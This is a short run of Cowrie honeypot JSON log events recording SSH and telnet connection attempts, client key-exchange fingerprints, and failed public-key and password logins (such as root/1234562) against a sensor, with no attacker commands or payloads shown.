{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44000,"dst_ip":"10.17.0.5","dst_port":23,"session":"b24455b4e3e1","protocol":"telnet","message":"New connection: 152.42.224.71:44000 (10.17.0.5:23) [session: b24455b4e3e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:17.809903Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44008,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebef64186706","protocol":"telnet","message":"New connection: 152.42.224.71:44008 (10.17.0.5:23) [session: ebef64186706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.195932Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.221.176.152","src_port":46790,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6a9cd1b9ac9","protocol":"ssh","message":"New connection: 206.221.176.152:46790 (10.17.0.5:22) [session: c6a9cd1b9ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.554703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.559452Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.566825Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:e9:fc:48:9a:8f:bf:9b:6c:8e:76:41:ca:77:20:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFA8uQlSLCKzPZS2+KCMlkne0bPA2vqnhKRirt/10vljDVvMqyjoVUzfYCHqBxj2ZwylddaFR23BPgvltc69FGOvTktKvdrvra0h625vNbmwzxJMkXO24dOq45enZ2XCSA157NKdm3b0OQavjmyb3FW//yrF/iFRqAEsxTRMhJP36vj/SwL4dY0c9NPIQEf+RdnZHJPJ1Bc6zKcpRs/EOa6piZ/aXH3famSJLPbVE6+e9FoEPxycokzQDkZAsw6Qvw2YTwDf8euMZeXv2xFgQy9OwH8YhK/eThfPqk3i8CosHAvinoCAYFXhArnud903v0p6BiT1wHgGKX+SYe9xP/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:e9:fc:48:9a:8f:bf:9b:6c:8e:76:41:ca:77:20:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.583604Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:e9:fc:48:9a:8f:bf:9b:6c:8e:76:41:ca:77:20:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFA8uQlSLCKzPZS2+KCMlkne0bPA2vqnhKRirt/10vljDVvMqyjoVUzfYCHqBxj2ZwylddaFR23BPgvltc69FGOvTktKvdrvra0h625vNbmwzxJMkXO24dOq45enZ2XCSA157NKdm3b0OQavjmyb3FW//yrF/iFRqAEsxTRMhJP36vj/SwL4dY0c9NPIQEf+RdnZHJPJ1Bc6zKcpRs/EOa6piZ/aXH3famSJLPbVE6+e9FoEPxycokzQDkZAsw6Qvw2YTwDf8euMZeXv2xFgQy9OwH8YhK/eThfPqk3i8CosHAvinoCAYFXhArnud903v0p6BiT1wHgGKX+SYe9xP/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.588244Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:8c:5f:a6:d3:0a:56:53:5d:45:ed:e2:52:4f:44:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzfzX2Y6sqGOeWgLgmGFyFavMpJH0AWvuuUBjiiBw1wJzA50OyEeCftxSY/5VGSw6kPuTsF9IR1W5PNAwfQK1lzulVdHwP2m429MP+34qH2j1wIVexQo/VTYMKrDnbo6TkI69V90pYFmzF0vvv44t20zS+5E57ja/kUFspULx371owNhGu/ZPGzxpPs+toFkEyf3PIOIYwByn49/zwI8DUetPm4oDCb9BKB2ZhP+uxWT8V+aE91v0XS9i4FIKKeqr+Q0Ty1vfT8KQf7ZFaVUXXE1c/O4j0gtS8V/UuQfPoJaKT8YTvBzgLEjy3ZnfvZ3fqDHVKOYnbs9BpGYrz61a+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:8c:5f:a6:d3:0a:56:53:5d:45:ed:e2:52:4f:44:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.597636Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:8c:5f:a6:d3:0a:56:53:5d:45:ed:e2:52:4f:44:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzfzX2Y6sqGOeWgLgmGFyFavMpJH0AWvuuUBjiiBw1wJzA50OyEeCftxSY/5VGSw6kPuTsF9IR1W5PNAwfQK1lzulVdHwP2m429MP+34qH2j1wIVexQo/VTYMKrDnbo6TkI69V90pYFmzF0vvv44t20zS+5E57ja/kUFspULx371owNhGu/ZPGzxpPs+toFkEyf3PIOIYwByn49/zwI8DUetPm4oDCb9BKB2ZhP+uxWT8V+aE91v0XS9i4FIKKeqr+Q0Ty1vfT8KQf7ZFaVUXXE1c/O4j0gtS8V/UuQfPoJaKT8YTvBzgLEjy3ZnfvZ3fqDHVKOYnbs9BpGYrz61a+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.601968Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:9e:30:fc:e9:cf:db:fa:df:a0:9e:b9:95:d6:7e:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzqyzMpvgiTfskvC29OfsEv4Npzz7AGFb90oc1M9zcd/1MkyJO7jzHaDDqac/Q5S4XI6ZaZ79HpbKO6bp0R/2xWddzov3tpfLAcnB8JuY0EixVWua/Va7ZeyAGM43wBgtMNy3dO/zPi4uIRdoj1LetKfRhJRr6fyndCqPEX1iEwx4sENDLOywOvtBYvurjLsHiohZKkNOK8Q6B5IzMN0UEUQiS0J+44bS7l84wJhAhXuPZuigMhxiDwBgPqHFB/8O/1JH3PMktvilPJdGLRuoZ6+mpVp1DULbVrIIjysLgvzY0bii1aH+YHYZDWxBgXgQ/ROUssO9nQAlv5pXTudu1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:9e:30:fc:e9:cf:db:fa:df:a0:9e:b9:95:d6:7e:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.612853Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:9e:30:fc:e9:cf:db:fa:df:a0:9e:b9:95:d6:7e:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzqyzMpvgiTfskvC29OfsEv4Npzz7AGFb90oc1M9zcd/1MkyJO7jzHaDDqac/Q5S4XI6ZaZ79HpbKO6bp0R/2xWddzov3tpfLAcnB8JuY0EixVWua/Va7ZeyAGM43wBgtMNy3dO/zPi4uIRdoj1LetKfRhJRr6fyndCqPEX1iEwx4sENDLOywOvtBYvurjLsHiohZKkNOK8Q6B5IzMN0UEUQiS0J+44bS7l84wJhAhXuPZuigMhxiDwBgPqHFB/8O/1JH3PMktvilPJdGLRuoZ6+mpVp1DULbVrIIjysLgvzY0bii1aH+YHYZDWxBgXgQ/ROUssO9nQAlv5pXTudu1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.617058Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:d6:95:fc:70:fb:bd:74:22:b8:77:4f:f9:61:30:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4059gDu7PZdfl5BYbl9vXUMC7k0g0WDb0l9bXThUrivQf4eJ60tiZ4HrnC5sDz2p41+pFDBWVBVMO8qvIWRVDkkwR7oLAiO/RJaw20FC4zGBcJjcT6+6y8QcC5Co7+KQvXt7bczVP7PrZCjfZYWjXqLQIziyEuRVMYmUdx3XnYHGTSUKiiGMGbzifLUKqjQCI1e2joqAz5uMgn0UDEE2UQl94TjXV2XSdyGOcoWIy4fSRQsD1JPRwJd7g9s5qp8RCYt0btd1egJpLdEtM9WSFrKs9gHQKSBrjFcDnsBDSN+kIy02xf9Ce19bBQRJQKcS3VwHRhCZSqAZdkuwRYSbGQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:d6:95:fc:70:fb:bd:74:22:b8:77:4f:f9:61:30:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.628999Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:d6:95:fc:70:fb:bd:74:22:b8:77:4f:f9:61:30:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4059gDu7PZdfl5BYbl9vXUMC7k0g0WDb0l9bXThUrivQf4eJ60tiZ4HrnC5sDz2p41+pFDBWVBVMO8qvIWRVDkkwR7oLAiO/RJaw20FC4zGBcJjcT6+6y8QcC5Co7+KQvXt7bczVP7PrZCjfZYWjXqLQIziyEuRVMYmUdx3XnYHGTSUKiiGMGbzifLUKqjQCI1e2joqAz5uMgn0UDEE2UQl94TjXV2XSdyGOcoWIy4fSRQsD1JPRwJd7g9s5qp8RCYt0btd1egJpLdEtM9WSFrKs9gHQKSBrjFcDnsBDSN+kIy02xf9Ce19bBQRJQKcS3VwHRhCZSqAZdkuwRYSbGQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.633290Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:e9:8a:d4:d1:b0:bf:5c:dd:82:37:bb:f6:50:ff:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwm9dhsrKlIBBw5HXy/wPq9G1E6YSELlryGSUSlOkwbpWN2FeDMzfJplfdV7hO5PMV1Fqpd6JzUzry4GdSR84z8J9XTSjFSU8dgcdHKd6q6peI18TI/IPqMeJ7aBNgNrsLE+7TfEiY1zLN9zaOn+WUFmUv3EBerpj4X10bIDxeQ1Le/4VKFRNFqb4U2nLSmnXvI6D4TQUuZ7BWkrvk8bcUdcrfydBbwEyF9rpg1LL2ttiGIoucYGrX0x1ZJ/8MUbQcf/AMeFgbdaEGGBpeb1v0xhgXw//bVuH7xtZyXT9nNk6jb6Ys303/b6Tqpi/feEleZXehTKTTkxCvZpaQdU7Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:e9:8a:d4:d1:b0:bf:5c:dd:82:37:bb:f6:50:ff:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.642129Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:e9:8a:d4:d1:b0:bf:5c:dd:82:37:bb:f6:50:ff:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwm9dhsrKlIBBw5HXy/wPq9G1E6YSELlryGSUSlOkwbpWN2FeDMzfJplfdV7hO5PMV1Fqpd6JzUzry4GdSR84z8J9XTSjFSU8dgcdHKd6q6peI18TI/IPqMeJ7aBNgNrsLE+7TfEiY1zLN9zaOn+WUFmUv3EBerpj4X10bIDxeQ1Le/4VKFRNFqb4U2nLSmnXvI6D4TQUuZ7BWkrvk8bcUdcrfydBbwEyF9rpg1LL2ttiGIoucYGrX0x1ZJ/8MUbQcf/AMeFgbdaEGGBpeb1v0xhgXw//bVuH7xtZyXT9nNk6jb6Ys303/b6Tqpi/feEleZXehTKTTkxCvZpaQdU7Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.646565Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:23.657209Z","src_ip":"206.221.176.152","session":"c6a9cd1b9ac9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.419358253479004,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:24.902545Z","src_ip":"152.42.224.71","session":"91c8e3beeace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46938,"dst_ip":"10.17.0.5","dst_port":23,"session":"17cce4d7848a","protocol":"telnet","message":"New connection: 152.42.224.71:46938 (10.17.0.5:23) [session: 17cce4d7848a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:25.876681Z"}
{"eventid":"cowrie.session.closed","duration":51.39395046234131,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:28.453238Z","src_ip":"152.42.224.71","session":"67e7e5cccf8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":58866,"dst_ip":"159.203.135.109","dst_port":22,"session":"30961928b660","protocol":"ssh","message":"New connection: 170.238.160.191:58866 (159.203.135.109:22) [session: 30961928b660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:29.125254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:29.129769Z","src_ip":"170.238.160.191","session":"30961928b660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:29.242897Z","src_ip":"170.238.160.191","session":"30961928b660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.321699380874634,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:29.411428Z","src_ip":"152.42.224.71","session":"c8985b95c30d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"red","password":"red","message":"login attempt [red/red] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:29.748263Z","src_ip":"170.238.160.191","session":"30961928b660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:30.864870Z","src_ip":"170.238.160.191","session":"30961928b660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42252,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb0898cd42a","protocol":"telnet","message":"New connection: 152.42.224.71:42252 (10.17.0.5:23) [session: ceb0898cd42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:45.088598Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":38054,"dst_ip":"159.203.135.109","dst_port":22,"session":"2719bc57f6de","protocol":"ssh","message":"New connection: 181.188.172.6:38054 (159.203.135.109:22) [session: 2719bc57f6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:46.537622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:46.542804Z","src_ip":"181.188.172.6","session":"2719bc57f6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:46.664727Z","src_ip":"181.188.172.6","session":"2719bc57f6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiangkai","password":"xiangkai","message":"login attempt [xiangkai/xiangkai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:47.216346Z","src_ip":"181.188.172.6","session":"2719bc57f6de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.93632483482361,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:47.812870Z","src_ip":"152.42.224.71","session":"17cce4d7848a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:48.340371Z","src_ip":"181.188.172.6","session":"2719bc57f6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39934,"dst_ip":"10.17.0.5","dst_port":23,"session":"09dc424aa05f","protocol":"telnet","message":"New connection: 152.42.224.71:39934 (10.17.0.5:23) [session: 09dc424aa05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:48.790067Z"}
{"eventid":"cowrie.session.closed","duration":35.327292680740356,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:53.137003Z","src_ip":"152.42.224.71","session":"b24455b4e3e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":37206,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa2ddaa99460","protocol":"ssh","message":"New connection: 94.159.110.201:37206 (159.203.135.109:22) [session: fa2ddaa99460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:55.479051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:55.485870Z","src_ip":"94.159.110.201","session":"fa2ddaa99460","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:55.613211Z","src_ip":"94.159.110.201","session":"fa2ddaa99460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234562","message":"login attempt [root/1234562] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:15:55.988886Z","src_ip":"94.159.110.201","session":"fa2ddaa99460","protocol":"ssh"}
